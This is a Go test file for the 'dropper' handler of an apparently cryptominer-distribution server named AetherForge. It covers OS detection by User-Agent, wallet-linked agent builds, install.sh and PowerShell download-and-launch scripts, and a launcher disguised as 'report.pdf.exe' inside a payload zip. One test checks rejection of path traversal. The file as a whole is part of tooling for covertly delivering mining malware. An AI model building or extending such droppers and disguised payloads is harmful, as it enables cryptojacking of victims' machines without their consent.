AetherForge/server/internal/api/dropper_handler_test.go

package api

import (
	"net/http"
	"net/http/httptest"
	"os"
	"path/filepath"
	"strings"
	"testing"
	"time"

	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"
)

func newTestDropperHandler(t *testing.T) (*DropperHandler, *db.Database, string) {
	t.Helper()
	dataDir := t.TempDir()
	database, err := db.New(dataDir)
	if err != nil {
		t.Fatal(err)
	}
	t.Cleanup(func() { _ = database.Close() })
	return NewDropperHandler(database, dataDir, func() string { return "https://public.example.com" }), database, dataDir
}

func TestDetectPlatformQueryParam(t *testing.T) {
	cases := map[string]string{
		"windows": "windows", "win": "windows",
		"linux": "linux",
		"darwin": "darwin", "mac": "darwin", "macos": "darwin",
		"universal": "universal", "any": "universal",
		"unknown": "",
	}
	for in, want := range cases {
		req := httptest.NewRequest(http.MethodGet, "/get?os="+in, nil)
		if got := detectPlatform(req); got != want {
			t.Fatalf("detectPlatform(%q) = %q, want %q", in, got, want)
		}
	}
}

func TestDetectPlatformUserAgent(t *testing.T) {
	tests := []struct {
		ua   string
		want string
	}{
		{"Mozilla/5.0 (Windows NT 10.0)", "windows"},
		{"Mozilla/5.0 (Macintosh; Intel Mac OS X)", "darwin"},
		{"Mozilla/5.0 (X11; Linux x86_64)", "linux"},
		{"curl/8.0", ""},
	}
	for _, tc := range tests {
		req := httptest.NewRequest(http.MethodGet, "/get", nil)
		req.Header.Set("User-Agent", tc.ua)
		if got := detectPlatform(req); got != tc.want {
			t.Fatalf("UA %q => %q, want %q", tc.ua, got, tc.want)
		}
	}
}

func TestDropperServeGetNoBuilds(t *testing.T) {
	h, _, _ := newTestDropperHandler(t)
	req := httptest.NewRequest(http.MethodGet, "/get", nil)
	rec := httptest.NewRecorder()
	h.ServeGet(rec, req)
	if rec.Code != http.StatusNotFound {
		t.Fatalf("expected 404, got %d", rec.Code)
	}
	if !strings.Contains(rec.Body.String(), "no agent build available") {
		t.Fatalf("unexpected body: %s", rec.Body.String())
	}
}

func TestDropperServeGetWindowsBuild(t *testing.T) {
	h, database, dataDir := newTestDropperHandler(t)
	buildID := "win-build"
	buildDir := filepath.Join(dataDir, "builds", buildID)
	if err := os.MkdirAll(buildDir, 0755); err != nil {
		t.Fatal(err)
	}
	binPath := filepath.Join(buildDir, "worker.exe")
	content := []byte("windows-agent-binary")
	if err := os.WriteFile(binPath, content, 0644); err != nil {
		t.Fatal(err)
	}
	if err := database.InsertBuild(&models.BuildRecord{
		ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
		FilePath: binPath, FileName: "worker.exe", Platform: "windows",
		CreatedAt: time.Now(),
	}); err != nil {
		t.Fatal(err)
	}

	req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
	rec := httptest.NewRecorder()
	h.ServeGet(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
	}
	if !strings.Contains(rec.Header().Get("Content-Disposition"), "worker.exe") {
		t.Fatalf("missing disposition: %q", rec.Header().Get("Content-Disposition"))
	}
}

func TestDropperResolveBasePublicURL(t *testing.T) {
	h, _, _ := newTestDropperHandler(t)
	req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
	req.Host = "ignored.local:8989"
	if base := h.resolveBase(req); base != "https://public.example.com" {
		t.Fatalf("publicURL override = %q", base)
	}
}

func TestDropperResolveBaseFromRequest(t *testing.T) {
	h := NewDropperHandler(nil, "", nil)
	req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
	req.Host = "deck.local:8989"
	req.Header.Set("X-Forwarded-Host", "proxy.example.com")
	if base := h.resolveBase(req); base != "http://proxy.example.com" {
		t.Fatalf("resolveBase = %q", base)
	}
}

func TestDropperServeShContent(t *testing.T) {
	h, _, _ := newTestDropperHandler(t)
	req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
	rec := httptest.NewRecorder()
	h.ServeSh(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("status %d", rec.Code)
	}
	body := rec.Body.String()
	if !strings.Contains(body, "#!/bin/sh") || !strings.Contains(body, "https://public.example.com/get") {
		t.Fatalf("unexpected install.sh body prefix: %.120s", body)
	}
}

func TestDropperServeGetPrefersBundleArtifact(t *testing.T) {
	h, database, dataDir := newTestDropperHandler(t)
	buildID := "fusion-bundle"
	buildDir := filepath.Join(dataDir, "builds", buildID)
	if err := os.MkdirAll(buildDir, 0755); err != nil {
		t.Fatal(err)
	}
	launcherPath := filepath.Join(buildDir, "report.pdf.exe")
	bundlePath := filepath.Join(buildDir, "report-package.zip")
	if err := os.WriteFile(launcherPath, []byte("launcher-only"), 0644); err != nil {
		t.Fatal(err)
	}
	bundleContent := []byte("zip-bundle-with-payload")
	if err := os.WriteFile(bundlePath, bundleContent, 0644); err != nil {
		t.Fatal(err)
	}
	if err := database.InsertBuild(&models.BuildRecord{
		ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
		FilePath: launcherPath, FileName: "report.pdf.exe", Platform: "windows",
		DownloadURL: "/api/v1/builds/" + buildID + "/artifact/report-package.zip",
		CreatedAt: time.Now(),
	}); err != nil {
		t.Fatal(err)
	}

	req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
	rec := httptest.NewRecorder()
	h.ServeGet(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
	}
	if rec.Body.String() != string(bundleContent) {
		t.Fatalf("expected bundle bytes, got %q", rec.Body.String())
	}
	if !strings.Contains(rec.Header().Get("Content-Disposition"), "report-package.zip") {
		t.Fatalf("disposition: %q", rec.Header().Get("Content-Disposition"))
	}
}

func TestResolveDropperArtifact(t *testing.T) {
	dataDir := t.TempDir()
	buildID := "bid"
	buildDir := filepath.Join(dataDir, "builds", buildID)
	if err := os.MkdirAll(buildDir, 0755); err != nil {
		t.Fatal(err)
	}
	bundle := filepath.Join(buildDir, "kit.zip")
	if err := os.WriteFile(bundle, []byte("z"), 0644); err != nil {
		t.Fatal(err)
	}
	b := &models.BuildRecord{
		ID: buildID, FilePath: filepath.Join(buildDir, "runner.exe"), FileName: "runner.exe",
		DownloadURL: "/api/v1/builds/" + buildID + "/artifact/kit.zip",
	}
	path, name := resolveDropperArtifact(dataDir, b)
	if path != bundle || name != "kit.zip" {
		t.Fatalf("artifact resolve: path=%q name=%q", path, name)
	}
}

func TestDropperServeGetRejectsTraversalInArtifactURL(t *testing.T) {
	h, database, dataDir := newTestDropperHandler(t)
	buildID := "safe-build"
	buildDir := filepath.Join(dataDir, "builds", buildID)
	if err := os.MkdirAll(buildDir, 0755); err != nil {
		t.Fatal(err)
	}
	binPath := filepath.Join(buildDir, "worker.exe")
	if err := os.WriteFile(binPath, []byte("agent"), 0644); err != nil {
		t.Fatal(err)
	}
	// Malicious DownloadURL must not escape build dir via resolveDropperArtifact.
	if err := database.InsertBuild(&models.BuildRecord{
		ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
		FilePath: binPath, FileName: "worker.exe", Platform: "windows",
		DownloadURL: "/api/v1/builds/" + buildID + "/artifact/..%2F..%2Fsecret.zip",
		CreatedAt: time.Now(),
	}); err != nil {
		t.Fatal(err)
	}
	req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
	rec := httptest.NewRecorder()
	h.ServeGet(rec, req)
	// Falls back to FilePath worker.exe — bundle artifact name is sanitized away.
	if rec.Code != http.StatusOK {
		t.Fatalf("expected fallback to FilePath, got %d body=%s", rec.Code, rec.Body.String())
	}
	if rec.Body.String() != "agent" {
		t.Fatalf("body=%q", rec.Body.String())
	}
}

func TestDropperServePs1Content(t *testing.T) {
	h, _, _ := newTestDropperHandler(t)
	req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil)
	rec := httptest.NewRecorder()
	h.ServePs1(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("status %d", rec.Code)
	}
	if !strings.Contains(rec.Body.String(), "DownloadFile") {
		t.Fatal("expected PowerShell download snippet")
	}
	if !strings.Contains(rec.Body.String(), "start.bat") {
		t.Fatal("expected lowercase start.bat in PS1 launcher list")
	}
}